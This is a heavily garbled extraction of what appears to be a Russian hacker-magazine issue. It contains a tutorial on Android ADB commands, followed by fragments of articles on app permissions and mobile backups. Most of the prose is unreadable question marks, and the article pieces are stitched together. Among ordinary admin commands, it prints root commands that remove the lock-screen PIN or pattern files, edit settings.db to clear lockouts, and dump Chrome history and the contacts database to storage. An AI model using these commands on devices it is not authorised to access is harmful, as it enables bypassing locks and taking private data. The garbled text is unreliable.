Debug Bridge)а? ??????????? ??????????? ???а???????
?а?????? ?а???????? Android ?а?????.
?????? ?????? ?аADB
???а?????? ?????? ?аADB ??? ??????? ???????????? ??а?????????? ?а??????????
??????? adb ?а???????? ??а????. ?????? ?????? ??????????? ?а??????? ????????? л??????? ??аUSB╗ ?а?????? ???????? л???а?????????????╗ (???? ????
????? ?????, ????? ???? ??? ??а????? ?????? ?а???? л?а????????╗).
???а????????? ADB ??а???? ?????? Adb Kit ?а????????????? ?а????? ????? (?????????? ???????????? ????????
????? ???а??????? ????????). ????? ????????? ?а????????????? ???????? ADB.
???????? ?аadb ????? ??а????????? ??????. ????????
Win + R ?а?????? cmd, ????? ????????? ?а?????, ?а???????
????? adb. ???а???? ????? ??????? ????? ?????????:
INFO
cd \android
????? ??а??????????? ??? ??? ??????????? ?????? ???,
????? ???????? ?????? ????? ?а?????????? Path. ???а?????? ?????????? ????? ?ал?????? ??????????
???????
?????????????? ????????? ???????
??????????
?????╗, ????? ?????????? Path ?а???????? ?а????? ??????, ????? ????? ?а???????, ???? ??а????? ?аadb. ?????? ????? ??????? ??????? ????? ????? ??????? ???????????
???????.
??????????? ?????
??????? ?????
????????? ??????,
?а????? ????????
?????????????
??????? ??? ???
????? ?а???????
????? ??????
??????? ????.
??????????
?а????????? ???????.
?????????? adb ?а?????????? Path
???????? ???? ??????????? ?а???????? ?а??????? ????????? ??????? (??? ?????? ??????? ?????? ???????????? ?????????):
adb devices
?аADB ????? ???????? ????? Wi-Fi. ???а????? ????? ?????
root ?а?????????? WiFi ADB. ????????? ??????????, ????
????????????? ?а?????????????? ?а????????? ?а???????
??????? connect ?а??????????? ??????????? IP-??????:
adb connect IP-?????
????? ?????? ?аADB ????? ??а??????????.
INFO
?????????
?а?????? ???????
????? ?????????
???????????????
??а??????????,
?????? ??а???????
???????? ?????????,
??а??????? ???
??????, ??????? ??,
?а????? ????? adb.
????????? ????????
ADB ????? ???????????? ???а????????? ?????????? ???а????????????? ?????????? ?? ??а????????. ?????????? ????????? ????? ???????:
adb install d:/downloads/???_?????.apk
?а??????? ????? ????? ???????? ?????????????? ?????. ????????? ?????
-?а? ?????????????? ?????????? ?а??????????? ?????? ?а-dа? ??????????
?????? ?????? ???????.
????????? ????? ?а???????, ??а???а????? ????? ????? ???????? ?????? (???
??????, ???????? ???? ?????). ??а??????? ???? Angry Birds Seasons ???????
????? ????????? ???:
adb uninstall com.rovio.angrybirdsseasons
????? ??????????
?аAndroid ???? ?????????? ??????? ??????,
??????? ????? ????? ????????? ?а???????
????????? ??????. ???а????? ???????????? ??????? adb backup ?а????? ?????:
adb backup [?????] <??????????>
-f ????????? ??? ???????????? ????? ?а???
???????????? ??а?????. ???а?????????? ????? ????? ?????? ???? backup.ab ?а??????? ????????;
-apk|-noapk ?????????, ???????? ?? ?а?????
?????? ?????? ?????????? ??? ??? .apk ????
(?? ????????? ??а????????);
-obb|-noobb ?????????, ???????? ?? ?а?????
?????????? .obb ???а?????????? (?? ????????? ??а????????);
-shared|-noshared ?????????, ???????? ??
?а????? ?????????? ?????????? ??аSD-?????
(?? ????????? ??а????????);
-all ????????? ??а????????????? ?????? ????
????????????? ??????????;
-system|-nosystem ?????????, ???????? ??
?а????? ????????? ?????????? (?? ????????? ????????);
<packages...>а? ???????? ??????? ???а??????.
??????? ??????
???? ?? ????? ??????? ????? ???? ??????????? ????, ??????? ???? .apk, ?а???????????? ?????, ?? ??????? ????? ????????? ???:
adb backup -f c:\android\backup.ab -apk -all -nosystem
????? ????? ?????????? ??????????? ?????? ?????????? ?????? ??а?????
??????????. ???а?????????????? ??????????? ?????? ????? ????????? ??????????????? ???????:
adb restore c:\android\backup.ab
??????? ?а???????
?????? ?а?????????? ????????, ??????? ???????? DOS-???????? ??? Windows,
?аAndroid ?????????? ?а????. ??? ?????????? ????? adb shell ?а???????????? ????? ??а???? ??????????? Linux-???????, ??а?а???????? ??????? ??????,
????????? ??????? ?????, ????????? ??а??????? BusyBox. ???????????? ???
??????? ????? ????? ?????????. ?а????????????? ?????? ??? ???????????
????????
adb shell
?а??????? ?????????? ???? $ (????? ??а?????? ???? ???? ????? ???????? ????????????? ????? ??????????????? ??????? adb shell), ?а????? ????? ?????
??????? ????? ??????, ??????? ????? ?????? ??????. ?????? ??????а? ????
?????????? ?????? ?????? ???? ???????, ????? ?????? ?? ?????? ??аadb shell.
?а????? ???????? ??????????? ??????? ???а???????????, ???????????
?а???????? ??????: cp, mv ?аrm. ????? ?????? ???????? (cd) ?а???????? ??
?????????? (ls). ????? ??????????? Linux-??????, ?а??????? ????? ??????
??а?????? ???????????, ?аAndroid ???? ????????? ????? ??????????????????
????????????, ??, ????? ???????????? ????????? ??а???, ???????? ????????
??а????????? ????? root, ?а????? ??????? ??????? ????????? ??????? su:
adb shell
su
??? ????? ??????, ???? ?а????? ??а?????-???? ??????? ?? ?????? ??????, ??????? ??алaccess denied╗ ??? лare you root?╗. ?а?????? ?????? ???? $ ???????? ??а#.
????? ?????????? ???????????? ??а?????????? ???????? adb shell df
?????? ?????? ??????? ls ???а?????? ?????????? ?а????????
???????? ?????????
??????????? ????? ????????:
adb shell screencap /sdcard/screen.png
????? ????? ???????? ????? ????????? ??а?????????? ???????? adb pull:
adb pull /sdcard/screen.png
?аrecovery ???????? ????? ??????? ????????? ????????:
adb pull /dev/graphics/fb0
????? ?????????? ????????????? ???? fb0 ?а??????????
??????????? ?а??????? FFmpeg, ??????? ????? ???????
?а???????? ?а????? ?аadb. ?????????? ?????????? ???????
?????? ??????????:
INFO
??? ??????????
??а??????? ?а?аadb
shell ????????,
??????????
????????? ?????
???а??????????,
????? ????????
?а???????
??????????
Ctrl + C. ?????
??а????? ?а?????????
?а??????????
??????? ??????
adbа? Ctrl + D.
ffmpeg -f rawvideo -pix_fmt rgb32 -s 1080x1920 -i fb0 fb0.png
?????? ?????, ????????????? ??а?????? ??????????
adb shell screenrecord --size 1280x720 --bit-rate 6000000
--time-limit 20 --verbose /sdcard/video.mp4
?????? ??????? ?????? ?????????? ????? ?а??????????? 1280 x 720 (????
??а???????, ?? ????? ???????????? ???????? ?????????? ?????? ??????????),
?а????????? 6 ????/?, ?????? 20 ?а(???? ??а???????, ?? ????? ?????????? ???????????? ???????? 180 ?), ?а??????? ????? ?а???????. ?????????? ????? ????? ?????????? ?а/sdcard (???? video.mp4).
?????????? ????????????
???а?????????? ???????????? ???????????? ??? ???????: pm (package
manager)а? ???????? ??????? ?аam (activity manager)а? ???????? ???????????. ?а?????? ?????? ???? ?????? ??????, ??????? ????? ?????????? ??а??????? ?????????????. ??????????? ??а?????????.
???а?????? ??????? ?????? ????????????? ??а?????????? ?????????? ?а????
???????? ???????, ??????? ?????????? ?????:
$ pm list packages
??????? ?а????? -s, ?? ??????? ?????? ????????? ??????????, -3а? ??????
?????????, -f ??????? ???? ????????? ???????, ?а-dа? ??????????? ??????????. ?????, ???? ???????? ???????, ????? ????????? ??? ???? ????????? ?????????????? ???????? :). ????????, ????????? ???????? ?????????:
$ pm disable com.google.android.calendar
???????? ??????:
$ pm clear com.dropbox.android
?? ?а?????? ??????? ????? ???:
$ pm uninstall com.dropbox.android
???а????????????? activity manager ??????????? ????? ???????? ?????? ????????? Android ?а????????? ????, ??? ????? Avtivity ?аIntent. ??? ???????? ???? ????????? ????????? ??????????, ???????? ??????? ??? ?????????:
$ am start -n com.android.browser/.BrowserActivity
$ am start -n com.android.settings/.Settings
????????? ?????? ?????????? ????? ??????????????? ????????:
$ am kill com.android.browser
?? ?а????? ??? ?????????? ??????????а? ????? ????????:
$ am kill-all
??? ?? activity manager ??????? ??????? ?????? ??а?????? ????? ????????:
$ am start -a android.intent.action.CALL tel:123
?а??? ????? ??????? ???????? ?а????????:
$ am start -a android.intent.action.VIEW 'http:/xakep.ru'
?????? ???????? ??а???????
?а?а??????? ???????? ?????????? ??????? ????? ????????? ???:
$ am start -a android.intent.action.SENDTO -d sms:?????_????????
--es sms_body "?????_???" --ez exit_on_sent true
$ input keyevent 22
$ input keyevent 66
?а?????? ??????? input keyevent ????????? ??????? ?????? ?а????? ?????????????? ???а???а??????????, ??? ?а???а?????? ?????? ??????????. ?а?????
??????? 22 ????????????? ??????? ?????? ?????? (???????? ??????а? dpad
right), ?а66а? Enter.
?а??????? ??????? input ?????, ????????, ?????????????? ???????.
???а????? ?????????? ??????:
$ input keyevent 82
??????? ????? keyevent 26, ??? ????????????? ??????? ?????? Power. ?????
????? ???????????????????? ?а??????? 3а? Home, 4а? Back, 24а? Volume Up,
25а? Volume Down, 27а? ?????????? ?????? Camera. ????????? ?????? ?????
???????? ?а????? ????????????????? ????????? (?????? ?????? ????????????????? ????????? ?? ??????? ???):
$ am broadcast -a android.intent.action.CAMERA_BUTTON
?????? ????????????????? ????????? ????????? ??????? ?а????? ????????:
$ am broadcast -a android.intent.action.AIRPLANE_MODE --ez state true
??а?????? ??????? ??а????????? ??а????????? ??????? Android. ???а?????????? ???????? ?а????????????? ?????????????? ??? ???????????? ???????
svc. ????????, ???????? ???????? ?????? ????? ????????? ???? ??? ????????? Wi-Fi ????? ????? ???????
$ svc data enable
$ svc wifi disable
????? ????? ????????? ???????? ?????????? ?????????? ???а???????????
?аUSB-?????/???????/Wi-Fi-???? ??? ??????:
$
$
$
$
svc
svc
svc
svc
power
power
power
power
stayon
stayon
stayon
stayon
usb
ac
wireless
true
??????????? ?а??????? input, ????? ???????? ??? ???? ??????? ???а???????
?????? ?а??????? ????. ????-?? ??? ????? ?????????? ????? ???????????????
???????? ?????? ?????? ?а?????, ??? ???????? ??а?????? ????????? ???????
??????. ???????? ??????? ???:
$ input text "????? ???а???????"
????? ????? text, ?а??????? input ???? ?а??????. ?????? ????? ??????? ??????:
$ input [<source>] <command> [<arg>?]
?а???????? ????????? ????? ????????? trackball, joystick, touchnavigation, mouse,
keyboard, gamepad, touchpad, dpad, stylus, touchscreen. ?а???????? ?????? ?????:
? text <string> (Default: touchscreen) [delay]
? keyevent ?longpress ( <key code number or name> ? (Default: keyboard)
? tap <x> <y> (Default: touchscreen)
? swipe <x1> <y1> <x2> <y2> duration(ms) ( (Default: touchscreen)
? press (Default: trackball)
? roll <dx> <dy> (Default: trackball)
???а????? ??а??????, ?????, ???? ?а?а??????, ????????? ??????????? ????? ??????? input touch ?аinput swipe ???а???????? ??????, ???? ??а?????????????? ?????? ????? ????? USB-OTG. ????????, ???????? ?????? ?а????????????? ????????? ??? (?????? ????????? ???? ??а?????? ???????? ????):
$ input swipe 10 10 10 1000
?а??? ????? ?????? ?????????? ??????:
$ dumpsys window | \sed -n '/mUnrestrictedScreen/ s/^.*)
\([0-9][0-9]*\)x\([0-9][0-9]*\)/\1 \2/p'
???аNexus 5 ?????????? ?????? 1080 ? 1920. ????? ?????? ??а?????? л????
??????????╗ ???????????? ???????? ??аGoogle, ??????? ????????? ??? ???????
л?????╗, ????? ???:
$ input touchscreen tap 500 1775
?????????? ???? ??????????? ?а?????? ????? ?????? ????? ????????????????. ???а????? ????????? ?? ?а????????? ???? (??????, ????????? ??аadb
shell), ??????? ????? ?а?????? ?????? #!/system/bin/sh, ????????? ?а??????????? sh ?а?????????? ??а??????????. ????? ????? ????? ????????? ??????
????? ??? ?? adb:
adb shell sh /sdcard/???_?????.sh
??????????? ??????
MOBILE
??????????
ANDROID
?????? ??????
??????? лBRADA╗
?????????
john.brada.doe@gmail.com
50 ?????? ADB,
?а??????? ??????
????? ??????
????????? ???????
?????? ??????????? ??а?????????? ???????? ???????? (?????????????????
?????????, ??????, ????? ???????? ??а?????? ???????? ?а?????? ????????).
????????? DPI. ??а??????? root ?а???????? ??аAndroid 5.0+. ??????????? ???????? ???аNexus 5а? 480. ???а???????? 420 ??а??????? ????? ????????? ???????? ?????????? ???? ?????? ?а??? ?????? ???????:
$ wm density 420 && adb reboot
??????????? /system ?а?????? ??????. ???а????? ??????, ??????? ?????? ????????? ?????, ?????????? ??????? ??????????????? ?????? /system
??а??????. ??? ?????????? ?а??? ????? ???а???????? ????????? ??????????.
???????????????? ??????????? ????????? ????????:
$ su
# mount -o rw,remount /system
?????? ????????????:
$ setprop ctl.restart zygote
??????? ????????? ?а????? ???????????????? Doze (Android M+):
$ dumpsys battery unplug
$ dumpsys deviceidle step
...????????? ????????, ???? ??а?????? idle.
????????? ?а????????? (Android 4.4+):
$ content insert --uri content://settings/system
--bind name:s:status_bar_show_battery_percent --bind value:i:1
?????? ?????
????? ?????, ????? ???а??????? ???????? ???????????? ?????????? ??а????? ??????????, ??? ??? ?????? ??????? ???? ?????? ???????? ??? ??????????.
???????? ??а??? ??? ???????: logcat ?аdmesg. ?????? ????????? ??????? ????????? ????????? ?а???????? ???????, ?а?????? ?????????? ??????? ??????
????, ??????? ????????? ?????? ?????-??????, ???????? ?????????, ??????????? USB-????????? ?а??? ?????. ?????? ??? ????? ??????? ????? ?а???? ????????? ????????:
adb logcat > logcat.txt
??? ??????? ????? ???????????? ?????????? ??а???? ?????? ??????????.
?????????? ?????? ????? ??????????? ??????????? Ctrl + C. ?????? ?а??? ???????? ??? ??????????, ??? ?????? ?????????? ????? ??????. ??????? ???а?????? ?????? ?????????? ????? ?????? ?а????????, ?????????? ?а??????????
????????. ?????????? ???? ??????????? ????????? ??а???? ???????????: Vа?
Verbose, Dа? Debug, Iа? Info, Wа? Warning, Eа? Error, Fа? Fatal, Sа? Silent. ????????, ???а?????? ???? ????????? ?а??????????? ? ?а???? ??????? ??????:
adb logcat *:E
????? ????? ????? ????????? ?????????? ?????????? ?а????????, ??? ?????? ???????? ??????. ????? ?????????????? ????? ?????????? ??а?????????????? ???????. ???? ???????? ????? ??????????, ??? ?????????? ??????
?а???? ?, ????????, ????? ??????? ?????????? ????? ????????? ??????:
adb logcat -b events
????? ??????? adb logcat -b events
??????????? ???????
?а????? ??а????? ?????? ? ?????????, ???а????? ????????? ?????????? ??а???
?????? ????????? ??????????. ?? ?а?????? ?????????, ???а????????? ??? ????? ??а???????, ??а????? ???? ??а???? ?а??а???????????? ??а?????????? ???????????? ???. ???а????? ???????????? ??????? sqlite3. ??????? ??а?????
??????? ???????? Chrome:
$
$
#
>
>
cd /data/data/com.android.chrome
su
sqlite3 app_chrome/Default/History
.schema urls
select * from urls where url like "%android%";
????? ???? ????????, ?????????? ????????? ??????? ??а?????????? ??????????. ???????? ?????????? ??????? sqlite ?????, ????? Ctrl + Z, ?а?????а?
???????? .quit. ???? ?а????? ??а??????? ?? ???????? ?????? /system/bin/sh:
sqlite3: not found, ??????, ??а????????? ??? sqlite3 ?а?? ???????? ???????, ???????? ?а/system/bin ?а???? ????? ??? ?????. ? ????????? sqlite3, ??????? ??????? ?????-?? ??аTitanium Backup.
??????? ???????? Chrome
????? ?а??????? sqlite3 ????? ????????? ??? ???????? ?а????????. ???а?????
?а??????? ??а????? ?????? ?????????????? ????? Lucida Console ?а????? ??????? ?????????? ?????? ?????????? ????????? ????????? ??аUTF-8. ?????
?????? ??????? ???? ????? ???????????? ?????????? ???????. ???? ???????
???????? ???:
chcp 65001
adb shell
$ su
# cd /data/data/com.android.providers.contacts/databases
# sqlite3 contacts2.db
> select t1.raw_contact_id,t1.normalized_number,t2.display_name
from phone_lookup as t1, raw_contacts as t2
where t1.raw_contact_id=t2._id Order by display_name;
???? ??? ??????? ?????????, ?? ?а??????? ?? ??????? ??????? ?а??????????
??????? ??????, ??????? ???????? ?а??????????, ???????????????? ??а?????. ???а????????? ?а????? ?????? ?????? ????? ????????? ??????? ??????.
????? ????????? ??а???? contacts2.db
????? ??????? ?????? ??а??а?????, ?а????? ?а????????? ????. ???а????? ??????? ????? ????????:
adb shell
$ su
# cd /data/data/com.android.providers.contacts/databases
# sqlite3 contacts2.db "select t1.raw_contact_id,t1.normalized_
number,t2.display_name from phone_lookup as t1, raw_contacts as t2
where t1.raw_contact_id=t2._id;" > /sdcard/contacts.txt
?????????????? ?????? ?????? ????????? ?а????а? ???????, ????????? ?????????????? BusyBox:
content query --uri content://contacts/phones --projection number:
name --sort "name ASC"| awk -F= '{gsub(/[-() name]/,"",$2);
print $2" "$3}' | sed 's/,//g' > /sdcard/contacts.txt
?????? ???????????? ?????, PIN, FACELOCK
????????, ?? ????? PIN ??? ??а?????? ??????? ???????? ??????????? ????,
?? ??? ?????? ???????? ?а????????? ????????????? ??а????... ??? ???, ????
?????????? ??а?????-?? ??????? ?????????????, ?? ?????????? ????? ?????
(??? ??????? ?????????? ??????? ??аUSB) ????? ?? ?? ???????:
adb shell
$ su
# cd /data/system
# rm *.key
??????? ?????? ??? ?????? ?а??????????? ?????. ???? ????? ?а???????????
??а???????? ?а?????? ?????????? ????? ????: gesture.key, password.key, cm_
gesture.key, personalpattern.key, personalbackuppin.key. ????? ??а?????????? ???????? ????? locksettings.db, locksettings.db-shm, locksettings.db-wal.
????? ????? ?????????? ??????????? ?????????? ?а?????? ????? ????, ??????. ???? ??? ??а????????, ????? ??????????? ?????????:
adb shell
$ cd /data/data/com.android.providers.settings/databases
$ sqlite3 settings.db
> update system set value=0 where name='lock_pattern_autolock';
> update system set value=0 where name='lockscreen.
lockedoutpermanently';
??????
???а??????, ?а??????? ADB ????? ??????? ????? ???????????. ?а??? ?????? ??????????? ????????, ??? ??????? ????? ????????? ????????? ????????
???а????????? ??????????????? ????? ??а??????????. ???????, ?????? ??????
??????? ??????????? ?аADB ?а??????????? ?а?????? ???????????? ?а?????? ????? ???????? ??????.
MOBILE: ??????? ??????? ???????
??? ?????
?а?????
??????? ??????
androidstreet.net
???? ?а????????????? ????? ???? ????? ????????? ???????????, ??????? ? ?? ?????? ??????????? ?????? ????????????????. ?а???????????? ?????? ???????? ???????????????? ?????????? ????????? ??????????? ?????, ?????
??????? ?? ??? ?????????? ??а????????, ??а??????????????, ?, ????? ??????? ????? ?????? ????? ??а??????, ???????? ???????? ?????? ?а???? ??? ??????, ??????? ???????????, ????? ??а??????? ????????? ?а??????????? ????
??? ????????. ?а???? ??а???????? ??? ??а????? ?? ????????а? ????????, ??????, ??????,а? ?? ??а??????????? ???????? ???? ???????? ?а??????????? ??????? ?????? ???????, ?а????? ?а?а?????? ??????????????? ????????????.
?а???? ??????? ? ????? ?? ?????????? ??а????????? ????? ?????? ????????????? ?????????? ??? ????????? ????????. ??? ????????? ?????? ???????????? ?????, ?????? ?????? ????? ???????????? ?а???????? ?а?????????????.
?? ??????, ????????????, ?а???? ?????????? ????????? ?а???? ?????????? ?????? ??а??????? ?а?????? ??????.
???????? ??а???? ???????????? ???? ???а?????? PIN-????, ???а?????? ??????? ?? ??????????? ???????? ???????? ??а??????? ???? root ?, ???? ???
????, ??а???? ?????????? ?????? ???? ??????, ????????? ???????????????? ????????? (??????, ???? ???????? ???????? ????? ??????). ?а???? ???? ?????????? ??????????, ??????? ???????? ??а????????? ??????????, ?????????????
?а???? ????????? ?????????. ???а??????? ?а???????? ??, ???????????, ?????????? ?????? ?а????????????? ?????.
???????? ????????????? ??а???????? ?а??????? ????????????? ??????
?????????? ???????. ?????? ?? ?? ???????????? ??????? ?????????, ?? ??
?????????? ????????? ???? ????????? ????????????, ??а??????? ?????-??
?????????? ??????? ???? ????? ??????? ???????????? ??????????? ????????????????. ?а??? ??????? ?а????, ??? ?а??????????? ???? ????????? ????????
???????? ???????, ?а??а?????????? ???????????? ??????????? ????????, ????? ?????? ??? ??????? ??????????? ??а??????? ?а????????.
?а??? ?????????
?????? ???????? ?????????? ?????????а? ??? ??? ??????. APK-???? ?а??????????? ????? ??а????? ??а???? 41 ?????. ???а?????????: ???? Smash Hit
?а???????? ?????????? ???????? ????? 80 ?????, ???? Geometry Dash ?а?????
??????? ?а??????????? ??????а? 48 ?????, ?аGoogle Chromeа? ?? ?? 41 ?????.
??????, ??? ?а?????? ?????? ?? ?????????? ??????? ??????????? ???? ?а?????????? ???????????, ???????????? ?????? ????????а? ???????? ??????
?а??????? ?а?????????? ?? ??????? ?а????? ??а???????? ????????????.
$ ls -lh *.apk
-rw-r--r-- 1 j1m j1m 41M ??? 26 08:21 com.android.chrome.apk
-rw-r--r-- 1 j1m j1m 41M ??? 25 07:20 ru.sberbankmobile.apk
?K, ? ????????, ??? ???а??????? ??????? ?????????? ?????? ?а????????? ????????? ?????? ?????????? ??а?????
??????? ????????, ?????? ??? ??? ????? ?????? ?а??а?????????? ???????????
??????, ???????????? ???????????.
??а?????? ??????????? ?а?????? ??????? RAM ?а??????? ??????????? Low
Memory Killer ?????? ?????????? ?а?????????? ????? ????????????? ??а40 ??а80
?????. ????? ?? ???а?????????: ????
??а????? ??????????? ??а??????????
?????????? Google Chrome ?а????? ???????? ???????? ?????????? ~90 ?????.
?а????? ?????????, ??? ?а??????? ??а????
?? Chrome, ??????? ????? ????????
??а?????? ????? ????????? ????? ?????
????????, ???????? ????????? ?а??? ?????? ?а???? ??????? ??а??? ????? ?????? ?????????. ???? ?? ??? ??????а? ??
??????????????, ???? ?????????????
????????а? ?? ?????????? ???а????????, ????????? ????-??????а? ????????
??а?????????? ?????
????-???? ??? ????????? л??????, ?????????? ???????? ????????
?????╗: ????-?????? ??????? ??????, ??27 ???. ??а????? ??? ?????
????? ??? ?????????, ?а??? ?????????????????????????? ?аAndroid
6.0, ?? ????? ?? ??? ??? ????
?? ??????????.
?? ?????, ????? ?а?????, ????? ????
??? ????? ??????????? ???а?????????
??????? ??? ??? ???, ??а??????????? ?????????? ?а????? ?????? ?????? 80
?????а? ??? ??????. ??а??? ??, ?????? ??а?????? ????? ?а??????, ?? ????????? ????? ????????, ????? ???????? ?????????? ?а?????????????? ?????????? ?а????????? ?????-?? ?????? ???? ????. ??? ???: ??????????, ??????? ??
??????????? ??? ?а??????, ????? ???????? ?????? ??а??????? ??? ?????????
??????, ????????? ????? ?а???? ?а????????? ????? ????????! ???? ???? ??????? ??? ????????, ????? ????? ??????, ?а?? ???????, ??? ????? ?????????????
л???????╗.
л???? ????????? ?а?????
?????????? ????????????╗
?????? ????? ????? ? ??????? ??а@
sberbank ?а????????, ????? ??????? ??
??????????? ???? ????????. ??? ???
?????? ??? ????????? ??????????? ?а???????? ?????????? ???????????. ??, ??????? ????????, ????????
??а?????? ????? ?а???? ?а????????? ????? ????????, ?? ??? ?а???????????
?????? ???, ????? ?? ??????????????
????? ??????????, ?а??? ?а???? ????
???????????? ?????????? ????????.
?? ??????, ??????? ??????а? ?а?????
??????????? ???????? ?а???????? ??????????? ???????. ???а??? ?????? ??а?????????, ? ?????, ???????? ??а????.
????? ?? ?????????????? ?????
????????? ?а???, ???, ??????? ??????
?????????? ?а??????????? ????????
???а(??? ??а??????????? ?????????),
??? ???????? ????? ??а?????? ?? ???а?????, org.antrack.app ?????
????????, ??а?а?????? ?а???? ????????.
??а?????, ?а?????? ???????
????? ?? ????? ?????? ????????, ??????
?????????? ???а??????????
?????????? ??????????
??????, ????????? Bluetooth, ???????,
???????? ????????? ?????????, ????????? Wi-Fi, ???????? ??????????????, ??????? ??????? ????????, ?????? ?а???????? ??????? ????????, ???????? ????????? APN, ??????? ??а??????????? ????????????, ???????????
????????? ?а???????? ??????????, ?????? ?а?????? ???? ???????.
??? ?????? ????? ??????????, ??????? ??????????? ????????
???????, ??а?????? ??? ??а?????? ????? ???????? ????? ???????????? ??????? ??????????. ?а??а???? ????????, ??? ??? ??? ????? ??????????,а? ???
?????? ?????????, ????? ??? ????? ???????????? ??????????? ???????, ???????, ????????? Wi-Fi ??? ?????? ???? ???????. ?а??????? ????????? ? ??а????????, ???????? ?????????? ?????? ?а???, ????? ????????? ??????? ???????? ?????. ?? ?? ??а??????, ????? ???? ????? ????????? ????????? ?а????????,
??а??? ???
??? ???????
???????? ??а???????????? ??????????, ??????? ??????? ?????????? ???????? ?а?????????? ???, ??? ??????
?????. ?а??????? ????? ???????? ??????????, ?а???????? л??????╗ ?а????
????? ?????? ?????????. ??????, ???
?????????? ???????,а? ??? ????????
?а?????????? ??????????. ???? ?а????
????? Android 6.0, ?? ??????? ??? ?????,
?????? л?????????
??????????
????????╗ ?а???????? ?а???? л??????????╗ ???, ????? л??????╗. ???а????????? ??????? ?????????? ?????
???????? ??????????, ?а?? ???? ?????????.
???? ??? Android 6.0, ??а????
CyanogenMod, ?? ?? ????? ????? ??????? ?а???? л?????????
??????????????????
?????????? ?????
????????╗ (??????, ?а???? ??????
?????????? ????? ??????). ???? ???
??аAndroid 6.0, ??аCyanogenMod, ??а????
root, ??????? ????????? Xposed, ?????
???? ?????????? ?????? Xprivacy ?а???
?а??? ??????? ???????? ??????????.
?????????? ????? ?аCyanogenMod
????? ??????? ?ал??????╗ (?????
??????), ???а?????????? ??????
????????? ??а????? ??????
???????????? ?а???????
Greenify ??????????
????? ?????????? ??????? ???, ????? ???????? ??а????? ?а???? ?а??а??????? ?????????. ???а????? ??????????? ????? ????? root ?а?????????? Greenify.
????????????? ??????????, ??????????? ???????????? ??? ????? root, ???????? ?????? + ?а??????? ?а????? ?????? ??????? ???????? ??????????. ????????? ???????? ???????? ???-?? ?а??????. ?????? ??а???? ?а???????? ??????? ?????? ????? ??????. ?????? ?????????? ????? ?????????? ????? ?????
?????????? ?????? ?а??? ??а?????????? ??????????????.
?????? ???????
??а????? ???? ?, ??????? ??, ???????, ?????? ?а??????? ????????? ???????
???????? ????????????????. ???а??а?????, ?а????? ???????? ?а?????????? ?????????, ??? ??????????? ?а???????? ?????????????, ?а??????? ????? ??????.
?? ?а?????? ????? ????? ??????????????????? ??????????, ??????? ?????
?????? ????. ??? ?? ES File Explorer ????? ?????????, ???????? ??а?????? ?????????????? ??????????????? ????????????? ?????????. ??? ?????? ?а???????? ????????? ?а????????????? ????? л?????????? vs ????╗ ? ??? ????
????? ?????: л???? ???????, ??????? ?а??а??????? ?????????, ?а???????????
?????????? ?????????? ?а????? ?????????╗. ??а???? ???, ?????.
MOBILE
BACKUPS
FOR FUN AND
PROFIT
???? ??????,
??????? ?? ?????????
?????????????? ????????
?????????
aoleg@voicecallcentral.com
???????????
?а???????
??????????
??????????? IOS
?а?????? ??
?а????????? ??????????? ??а??????? ?????? ???????,
??а???? ??? ??????? ????????????? ????????????.
?а????????? ???????????? ?????? ?а?????????? ???
?????-????? ???????. ?а???а?а???? ??????? ???? ??а????????? ??????? ???а?а???? ??????? ??????????? ?????????, ???????? ?а??????, ????? ???????????? ?????????? ??? ??????????? Apple iOS, Google (? ??-Google)
Android, ????????? ?а???????????? ?????? Microsoft
Windows ?аBlackBerry 10? ???а???????? ??????, ???? ?????????, ???а????????????, ???а?????????? ????????????
?а???а???????? ? ??а???? ?? ????????? ?а????? ????? ??????????.
??????????? л?????╗ ????? ????????? ????????? ?????? iOS, ?а?????????
?? ?????????, ???а???????? ?а???а???????? ??????? ??????? Android, ?а??а??????? ??????? Windows Phone ?аBlackberry 10. ????? ???????????, ??? ??????
??????? ??а??? ?????: ?а?????? ?? ????????? ???????? ??? ?? ????????? ?????? iOS ?а????? ?? ?? ????????, ?????? ?? - ????????? ???????? ???????????
????????? ?????? iCloud ?а?????????? ?????? ??а????, ??? ??????????, ??????
??????, ???а??????????? ??????????? ????????????.
APPLE IOS
??????? ?аiOS 5, ???????????? л????????╗ ????????? ???????? ???????????
??????????????? ?????????? ??????
?????????? ?ал??????╗. ?а?????? ??????? iOS ??? ??????????? ????? ????
???????????? ???????, ??а?а????????? ??????? iOS ??? ????? ???????????? ?а???????? ????? л?? ?????????╗.
?аiOS 9 л????????╗ ????? ????????
??? ??а?аiCloud, ?а?а????? ????????????? iCloud Drive.
?а?????, ????????? ?аiCloud ???????? ????? 5 ??, ???????, ??? ??а?????, ??????? ???а???????? ????????
????????? ?а?????? ?????????? ????
????????? ?а64 ?? ??а?????. ???а???
?????????????, ??????? ????? ????????? ?ал??????╗ ????? ??????????
?а????????????, Apple ?????????? ???????? ??????? ????????. ????????
л????????╗ ????????? ??????????? ????? ?? ????? ????????? ???????? ??? ?а????? ????? ?а?????????? ?????????? (Settings
iCloud
Backup).
????? ????????? ????????? ?????????? ??????????? ?ал??????╗
?????????? ?????????. ?? ????????? ????? (??? ?а????? ??????
?????, ?а??????? ???? ????????? ???????? ???? Wi-Fi) ?а??????? ?????????????? ???????? ?????
???? ??а???????. ?а??? ????? ???????
(??????? ??? iPod) ????????????? ??????????? ?ал???????╗ ?а??????? ?а???? ??????????? ??а???? ????????????
?????????. ??????????, ???? ??????????? ?????????? ???????, ?? ?ал??????╗
???????????? ??? ?????? ? ??????? ????????? ?а???????????? ???????? ?????????? ???????. ??????? ?????????? ??????????? ?????????? ??а????, ???
??? ?а?????. ???а????????????? ??? ????? ??????????? ?а???????, ????????
??????? лBack Up Now╗.
?а???а??????? ???? ?а??????????????? ??????? ??? ???? ??????. ??????????????? ?а???????? ????????? ?????? (??? ???????, ????? ?????? ????????)
?????????? ????? ???????, ??а????? ????????? ????? ??????????????? ??????.
?????? ??а??????, ??а?????? ???????????? ??????? ??????? ???? ??а??????:
??а????? iPad ????? ???????????? ?????? ??а??????? iPhone ?а????????. ???????? ??? ??? ????????????? ????? ??????. ?????? ??, ??????, ?а?????? ?а??????? ???????. ???????? ?а????????? Apple Store, ??????????? ????? iPhone ?
?а??? ?????????, ??????????, ????????, ??????? ???????, ?????????? ?а????
???? ?а???????????? ?????? ? ??? ????????????? ???? ??а???? л?? ???????╗.
л????????╗ ?????? ? ??? ??????????
?????? ???????? ??а?????????????? ???? ?а?????????. ???????????? л????????╗ ????????? ????? iOS ? ??? ??????? ????????, ????? ??а???????, ???????, ?????? ????????.
????, ?????? ?а???????: л????????╗ ????????? ????? ?????????. ??????
?а??а????? ???????: ???? ?????????? ???????? ????? ?а??????????????
???????, ?а??????? ??? ??а?????????? ??????? ????????. ??????????, ?????
